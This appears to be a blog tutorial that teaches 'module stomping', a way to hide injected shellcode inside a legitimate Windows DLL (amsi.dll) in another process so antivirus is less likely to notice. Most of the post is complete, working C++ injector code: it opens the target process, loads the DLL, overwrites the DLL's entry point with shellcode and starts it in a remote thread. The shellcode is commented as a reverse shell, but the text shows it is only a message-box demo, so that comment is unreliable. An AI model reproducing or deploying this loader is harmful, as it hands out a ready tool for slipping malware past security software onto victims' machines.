Less suspicious with module stomping

Hi Friends,

I would like to continue on sharing a simple tutorial on making your payload injection less supicious to AV detection.

As a common technique to inject the payload into a newly created thread in the process, this is to make the payload execution not interfering the main thread of the process. Before the thread execution, the payload need to be injected into a memory space which created with the code below

LPVOID pRemoteCode = NULL;
	HANDLE hThread = NULL;

	pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
	WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T*)NULL);

where the result of the VirtualAllocEx would be a space of memory are without knowing who this memory allocation was for as highlighted in the image below. This could trigger AV detection

So the idea of the of module stomping is to create thread and memory allocation that to be assigned to a legitimate windows dll such as amsi.dll

We can use the code below to load a dll file and make this become the part of the current process

// inject a benign DLL into remote process
	processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));

	//processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 8444);

	printf("Memory allocation to inject amsi.dll\n"); getchar();

	remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof moduleToInject, MEM_COMMIT, PAGE_READWRITE);

	printf("Before Write process %p\n", remoteBuffer); getchar();

	WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)moduleToInject, sizeof moduleToInject, NULL);

	printf("Memory Written Successfully\n"); getchar();

	PTHREAD_START_ROUTINE threadRoutine = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");

	HANDLE dllThread = CreateRemoteThread(processHandle, NULL, 0, threadRoutine, remoteBuffer, 0, NULL);
	WaitForSingleObject(dllThread, 1000);

	printf("New Thread is created id : %u\n", dllThread); getchar();

Once the amsi.dll become part of the notepad.exe process then the next step is to find where the amsi.dll is located in the notepad.exe memory region. We should enumerate one by one to find the base memory

// find base address of the injected benign DLL in remote process
	EnumProcessModules(processHandle, modules, modulesSize, &modulesSizeNeeded);
	modulesCount = modulesSizeNeeded / sizeof(HMODULE);
	for (size_t i = 0; i < modulesCount; i++)
	{
		remoteModule = modules[i];
		GetModuleBaseNameA(processHandle, remoteModule, remoteModuleName, sizeof(remoteModuleName));
		printf("Name Check :%s base address : %p\n", remoteModuleName, modules[i]);
		if (std::string(remoteModuleName).compare("amsi.dll") == 0)
		{
			std::cout << "---------------->> Name Check : "<<remoteModuleName << " base address : " << modules[i] << std::endl;
			break;
		}
	}

Once we get the address of the amsi.dll then the next is to read the PE header in order to find the entry point address which we will overwrite with our payload

// get DLL's AddressOfEntryPoint
	DWORD headerBufferSize = 0x1000; //4Kb
	LPVOID targetProcessHeaderBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, headerBufferSize); //create heap 4Kb

	printf("After Heap Allocation 4 Kb at %p", targetProcessHeaderBuffer); getchar();

	ReadProcessMemory(processHandle, remoteModule, targetProcessHeaderBuffer, headerBufferSize, NULL); //read 4kb to get the PE header information

	printf("PE header information of amsi.dll cleared"); getchar();

	PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetProcessHeaderBuffer;
	PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetProcessHeaderBuffer + dosHeader->e_lfanew);
	LPVOID dllEntryPoint = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)remoteModule);
	std::cout << ", entryPoint at " << dllEntryPoint <<std::endl;

After we find the entry point address in the amsi.dll from the above code then we can copy our payload

// write shellcode to DLL's AddressofEntryPoint
	WriteProcessMemory(processHandle, dllEntryPoint, (LPCVOID)shellcode, sizeof(shellcode), NULL);

	printf("Payload has been written and ready to execute Payload"); getchar();
	// execute shellcode from inside the benign DLL
	CreateRemoteThread(processHandle, NULL, 0, (PTHREAD_START_ROUTINE)dllEntryPoint, NULL, 0, NULL);

	printf("After Create Remote Thread"); getchar();

When the memory copy is done successfully which is now our payload is within the body of amsi.dll that we can trigger by put using a new thread. We can see from the below image that the malicious payload run under a legitimate windows dll file. see TID 368

If we looked at the detail of the thread, we can see that MessageBoxA is called (our payload)

Based on the above scenario, the AV would likely trust our payload because it is run from the legitimate windows dll

here is the full C code. Enjoy …

#include <iostream>
#include <Windows.h>
#include <psapi.h>

int main(int argc, char* argv[])
{
	HANDLE processHandle;
	PVOID remoteBuffer;
	wchar_t moduleToInject[] = L"C:\\windows\\system32\\amsi.dll";
	HMODULE modules[256] = {};
	SIZE_T modulesSize = sizeof(modules);
	DWORD modulesSizeNeeded = 0;
	DWORD moduleNameSize = 0;
	SIZE_T modulesCount = 0;
	CHAR remoteModuleName[128] = {};
	HMODULE remoteModule = NULL;

	// simple reverse shell x64
	unsigned char shellcode[] = 
		"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41\x51"
		"\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x3e\x48"
		"\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72\x50\x3e\x48"
		"\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02"
		"\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x3e"
		"\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48\x01\xd0\x3e\x8b\x80\x88"
		"\x00\x00\x00\x48\x85\xc0\x74\x6f\x48\x01\xd0\x50\x3e\x8b\x48"
		"\x18\x3e\x44\x8b\x40\x20\x49\x01\xd0\xe3\x5c\x48\xff\xc9\x3e"
		"\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41"
		"\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24"
		"\x08\x45\x39\xd1\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0"
		"\x66\x3e\x41\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e"
		"\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41"
		"\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
		"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7\xc1"
		"\x30\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e\x4c\x8d"
		"\x85\x44\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83\x56\x07\xff"
		"\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
		"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
		"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x49\x6e\x6a\x65\x63"
		"\x74\x69\x6f\x6e\x20\x54\x75\x74\x6f\x72\x69\x61\x6c\x20\x3a"
		"\x20\x52\x69\x6f\x20\x69\x73\x20\x69\x6e\x20\x74\x68\x65\x20"
		"\x6d\x65\x6d\x6f\x72\x79\x00\x50\x61\x79\x6c\x6f\x61\x64\x20"
		"\x49\x6e\x6a\x65\x63\x74\x69\x6f\x6e\x00";

	

	// inject a benign DLL into remote process
	processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));

	//processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 8444);

	printf("Memory allocation to inject amsi.dll\n"); getchar();

	remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof moduleToInject, MEM_COMMIT, PAGE_READWRITE);

	printf("Before Write process %p\n", remoteBuffer); getchar();

	WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)moduleToInject, sizeof moduleToInject, NULL);

	printf("Memory Written Successfully\n"); getchar();

	PTHREAD_START_ROUTINE threadRoutine = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");

	HANDLE dllThread = CreateRemoteThread(processHandle, NULL, 0, threadRoutine, remoteBuffer, 0, NULL);
	WaitForSingleObject(dllThread, 1000);

	printf("New Thread is created id : %u\n", dllThread); getchar();


	// find base address of the injected benign DLL in remote process
	EnumProcessModules(processHandle, modules, modulesSize, &modulesSizeNeeded);
	modulesCount = modulesSizeNeeded / sizeof(HMODULE);
	for (size_t i = 0; i < modulesCount; i++)
	{
		remoteModule = modules[i];
		GetModuleBaseNameA(processHandle, remoteModule, remoteModuleName, sizeof(remoteModuleName));
		printf("Name Check :%s base address : %p\n", remoteModuleName, modules[i]);
		if (std::string(remoteModuleName).compare("amsi.dll") == 0)
		{
			std::cout << "---------------->> Name Check : "<<remoteModuleName << " base address : " << modules[i] << std::endl;
			break;
		}
	}

	printf("amsi baseline found and ready to be overwriten\n"); getchar();

	// get DLL's AddressOfEntryPoint
	DWORD headerBufferSize = 0x1000; //4Kb
	LPVOID targetProcessHeaderBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, headerBufferSize); //create heap 4Kb

	printf("After Heap Allocation 4 Kb at %p", targetProcessHeaderBuffer); getchar();

	ReadProcessMemory(processHandle, remoteModule, targetProcessHeaderBuffer, headerBufferSize, NULL); //read 4kb to get the PE header information

	printf("PE header information of amsi.dll cleared"); getchar();

	PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetProcessHeaderBuffer;
	PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetProcessHeaderBuffer + dosHeader->e_lfanew);
	LPVOID dllEntryPoint = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)remoteModule);
	std::cout << ", entryPoint at " << dllEntryPoint <<std::endl;

	// write shellcode to DLL's AddressofEntryPoint
	WriteProcessMemory(processHandle, dllEntryPoint, (LPCVOID)shellcode, sizeof(shellcode), NULL);

	printf("Payload has been written and ready to execute Payload"); getchar();
	// execute shellcode from inside the benign DLL
	CreateRemoteThread(processHandle, NULL, 0, (PTHREAD_START_ROUTINE)dllEntryPoint, NULL, 0, NULL);

	printf("After Create Remote Thread"); getchar();

	return 0;
}

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s